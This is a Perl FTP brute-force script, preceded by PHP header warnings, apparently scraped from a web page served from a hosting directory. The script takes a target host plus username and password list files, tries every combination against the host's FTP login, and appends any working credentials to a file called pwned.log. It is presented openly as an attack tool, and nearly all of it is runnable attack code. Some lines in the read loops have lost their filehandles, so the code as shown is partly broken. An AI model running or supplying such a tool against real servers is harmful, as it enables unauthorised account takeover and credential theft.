Warning: Cannot modify header information - headers already sent by (output started at /home/ronrob/public_html/_vti_pvt/ccou.php:1) in /home/ronrob/public_html/_vti_pvt/ccou.php on line 179
Warning: Cannot modify header information - headers already sent by (output started at /home/ronrob/public_html/_vti_pvt/ccou.php:1) in /home/ronrob/public_html/_vti_pvt/ccou.php on line 180
Warning: Cannot modify header information - headers already sent by (output started at /home/ronrob/public_html/_vti_pvt/ccou.php:1) in /home/ronrob/public_html/_vti_pvt/ccou.php on line 181
Warning: Cannot modify header information - headers already sent by (output started at /home/ronrob/public_html/_vti_pvt/ccou.php:1) in /home/ronrob/public_html/_vti_pvt/ccou.php on line 182
Warning: Cannot modify header information - headers already sent by (output started at /home/ronrob/public_html/_vti_pvt/ccou.php:1) in /home/ronrob/public_html/_vti_pvt/ccou.php on line 183
Warning: Cannot modify header information - headers already sent by (output started at /home/ronrob/public_html/_vti_pvt/ccou.php:1) in /home/ronrob/public_html/_vti_pvt/ccou.php on line 184
#!/usr/bin/perl
################################################################################
# FBF - FTP Brute Forcer
# by alin
# music@medbeats.com
# usage: perl ftp.pl
################################################################################
use Net::FTP;
use Term::ANSIColor;
#default variable options
my $host = "localhost";
my $port = "21";
my $delay = "0";
my $account = "";
my $status = "1";
#arrays we use to store the usernames and passwords
#from the files
@users = ();
@passes = ();
#this is the name of the user and pass list
#by default it looks in the current directory as
#the script. So you will need to have a user list
#called users and a password list call pass
$user_list = $ARGV[1];
$pass_list = $ARGV[2];
#variable is used to call clear which clears our screen
my $clear = '/usr/bin/clear';
#clear the terminal screen and write out the pretty banner :)
if ($ARGV[0] eq "") {
die "* Use it like this: perl pwn.pl hostname | ip\n";
}
#input gathers all the user input we need to launch the attack
sub INPUT {
$host = $ARGV[0];
chomp $host;
$port = "21";
chomp $port;
$delay = "0";
chomp $delay;
$account = "";
chomp $account;
if($account eq "y") {
$account = "";
chomp $account;
} else {
$account = "";
}
$status = "1";
chomp $status;
if($host eq "") {
die("bye");
}
if($port eq "") {
$port = 21;
}
if($delay eq "") {
$delay = 0;
}
};
#call our subs this is more of the main
#start of the application..
&INPUT;
#try and open the pass file
open (PASS, "$pass_list") or
die "* Where the fuck did you put your pass file!?\n";
#we decide if we are going to load the userlist or
#an account specified in the options
if($account eq "") {
open (USER, "$user_list") or
die "* Where the fuck did you put your users file!?\n";
while($uline = ) {
($user) = split(" ",$uline);
push @users, "$user";
}
close(USER);
} else {
push @users, "$account";
}
#store passwords in list
while ($pline = ) {
($pass) = split(" ",$pline);
push @passes, "$pass";
}
close(PASS);
foreach $user (@users) {
foreach $pass (@passes) {
#connect to the host
$ftp=Net::FTP->new("$host", Port=>"$port")
or die(" * I can not be able to connect to host:" . $host . " on port " . $port);
#display status of accounts that are being tested
#if($status eq "1" or $status eq "y") {
# use Term::ANSIColor qw(:constants);
# print CYAN," *",RED," I am trying to connect to",CYAN," $host",RED," with user",CYAN," $user",RED," and password",CYAN," $pass",RED," . \n";
# print RESET;
#}
if($ftp->login("$user","$pass")) {
# #let the user know we found an account, \a sets of the terminal bell
# use Term::ANSIColor qw(:constants);
# print"\a";
# print WHITE, " @ ",GREEN,"THIS IS A GOOD ONE",WHITE," =>",YELLOW," $host",WHITE," :",YELLOW," $user",WHITE," :",YELLOW," $pass\n";
# print RESET;
open(FILEOUT,">>pwned.log");
$found = "$host $user $pass";
print FILEOUT "$found\n";
close(FILEOUT);
last;
}
$ftp->close();
}
}